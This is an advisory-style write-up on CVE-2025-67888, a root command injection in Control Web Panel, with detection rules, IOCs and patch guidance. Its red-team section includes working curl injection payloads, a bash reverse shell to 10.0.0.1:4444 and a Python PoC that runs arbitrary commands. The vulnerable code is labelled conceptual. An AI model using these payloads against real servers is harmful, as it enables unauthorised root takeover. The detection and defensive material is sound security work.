CVE-2025-67888

Executive Summary

CVE-2025-67888 is a critical unauthenticated OS command injection vulnerability in Control Web Panel (CWP) versions prior to 0.9.8.1209. The flaw resides in the /admin/index.php endpoint when the api parameter is set. User input passed via the key GET parameter is not sanitized before being used in OS command execution. An unauthenticated attacker can exploit this to execute arbitrary commands as root, provided Softaculous or SitePad is installed on the server. The CVSS score is 10.0 (Critical) due to network exploitability, no privileges required, and full impact on confidentiality, integrity, and availability.

Supply Chain & Package Security

This vulnerability is not in a package manager ecosystem (NPM, PyPI, Go, Ruby). It affects the Control Web Panel software, a web hosting control panel. The attack surface is increased by the dependency on Softaculous or SitePad, which are third-party auto-installers. If either is present, the exploit path is enabled.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 10.0 (Critical)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – The vulnerable component and the impacted component are the same.
• Confidentiality Impact: High (C:H) – Full system read access.
• Integrity Impact: High (I:H) – Full system write access.
• Availability Impact: High (A:H) – Full system denial of service.

Threat Level: Critical. The vulnerability allows unauthenticated remote code execution as root, leading to complete server compromise.

Deep Dive & Mechanics

The vulnerability is a classic OS command injection in the key parameter of /admin/index.php when the api parameter is set. The application likely uses the key value in a shell command without proper escaping or sanitization. The presence of Softaculous or SitePad is required because the vulnerable code path is only reachable when these components are installed, as they trigger the API functionality that processes the key parameter.

Root Cause: The key parameter is passed directly to a function like exec(), system(), or shell_exec() without input validation or sanitization. An attacker can inject shell metacharacters (e.g., ;, |, &&) to execute arbitrary commands.

Attack Flow:

1. Attacker identifies a CWP server with Softaculous or SitePad installed.
2. Attacker sends a crafted HTTP GET request to /admin/index.php?api=1&key=;id.
3. The server executes the command some_command ; id as root.
4. The output of id is returned in the HTTP response or executed silently.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// admin/index.php (vulnerable)
if (isset($_GET['api'])) {
    $key = $_GET['key'];
    $command = "/usr/bin/softaculous --key " . $key;
    $output = shell_exec($command);
    echo $output;
}

Patched Code (Conceptual):

// admin/index.php (patched)
if (isset($_GET['api'])) {
    $key = $_GET['key'];
    // Sanitize input: allow only alphanumeric and specific safe characters
    if (preg_match('/^[a-zA-Z0-9_-]+$/', $key)) {
        $command = "/usr/bin/softaculous --key " . escapeshellarg($key);
        $output = shell_exec($command);
        echo $output;
    } else {
        die("Invalid key parameter.");
    }
}

The patch uses escapeshellarg() to properly escape the input and adds input validation to reject malicious characters.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target running CWP < 0.9.8.1209 with Softaculous or SitePad installed.
• Network access to the CWP web interface (typically port 2030 or 2083).

Exploit Steps:

1. Identify the target: nmap -p 2030,2083 <target_ip>

2. Verify CWP version: curl -k https://<target_ip>:2030/login/

3. Exploit with command injection:

   curl -k "https://<target_ip>:2030/admin/index.php?api=1&key=;id"
   

   Expected output: uid=0(root) gid=0(root) groups=0(root)

4. Execute a reverse shell:

   curl -k "https://<target_ip>:2030/admin/index.php?api=1&key=;bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"
   

Proof of Concept (PoC) Script:

import requests
import sys

target = sys.argv[1]
cmd = sys.argv[2] if len(sys.argv) > 2 else "id"
url = f"https://{target}:2030/admin/index.php?api=1&key=;{cmd}"
try:
    r = requests.get(url, verify=False, timeout=10)
    print(r.text)
except Exception as e:
    print(f"Error: {e}")

Blue Team (Detection & Response)

Detection Steps:

1. Monitor web server logs for requests to /admin/index.php with api=1 and suspicious key values containing shell metacharacters (;, |, &, `).
2. Look for outbound connections from the CWP server to unknown IPs on unusual ports (e.g., 4444, 1337).
3. Check for unexpected processes running as root, especially shells or reverse shells.

Hunting Query (Splunk):

index=web_logs source="/var/log/httpd/access_log" 
| search uri="/admin/index.php" AND uri_query="*api=1*" 
| regex uri_query="key=.*[;|&`].*"
| table _time, src_ip, uri_query, status

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /admin/index.php?api=1&key=; followed by shell commands.
  • Outbound connections to attacker-controlled IPs on ports 4444, 1337, 8080, etc.
• File IOCs:
  • Unexpected files in /tmp/ or /var/tmp/ (e.g., exploit.sh, reverse_shell).
  • Modified system binaries (e.g., /bin/bash replaced with a backdoored version).
• Process IOCs:
  • Processes named bash, sh, python, perl running as root with no parent or unusual parent.
  • Processes connecting to external IPs (e.g., nc, ncat, socat).
• Log IOCs:
  • Web server logs showing api=1 and key parameters with shell metacharacters.
  • System logs (/var/log/messages, /var/log/secure) showing unexpected command execution.

Detection Engineering

YARA Rule

rule CVE_2025_67888_Exploit_Request {
    meta:
        description = "Detects HTTP requests exploiting CVE-2025-67888 in Control Web Panel"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-67888"
    strings:
        $api_param = "api=1" nocase
        $key_param = "key=" nocase
        $shell_meta = /[;|&`$(){}]/
    condition:
        $api_param and $key_param and #shell_meta > 0
}

Sigma Rule

title: CVE-2025-67888 Control Web Panel Command Injection
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects exploitation attempts of CVE-2025-67888 via HTTP request patterns
author: Valters IT
date: 2025-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: 
            - "api=1"
            - "key="
        cs-uri-query|re: "key=.*[;|&`]"
    condition: selection
falsepositives:
    - Legitimate use of API with special characters (unlikely)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-67888 Control Web Panel Command Injection Attempt"; flow:to_server; content:"/admin/index.php"; http_uri; content:"api=1"; http_uri; content:"key="; http_uri; pcre:"/key=[^&]*[;|&`]/Ri"; classtype:web-application-attack; sid:10000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade CWP to version 0.9.8.1209 or later immediately.
2. Workaround: If patching is not possible, disable Softaculous or SitePad temporarily to remove the vulnerable code path.
3. Firewall: Restrict access to the CWP admin interface (ports 2030, 2083) to trusted IPs only.

Long-Term Mitigations:

• Implement a Web Application Firewall (WAF) with rules to block requests containing shell metacharacters in the key parameter.
• Conduct regular security audits of all web-facing applications.
• Apply the principle of least privilege to all services and components.

Verification:

• After patching, verify the version: cat /usr/local/cwp/version
• Test the exploit: curl -k "https://<target>:2030/admin/index.php?api=1&key=;id" should return an error or empty response.

Valters IT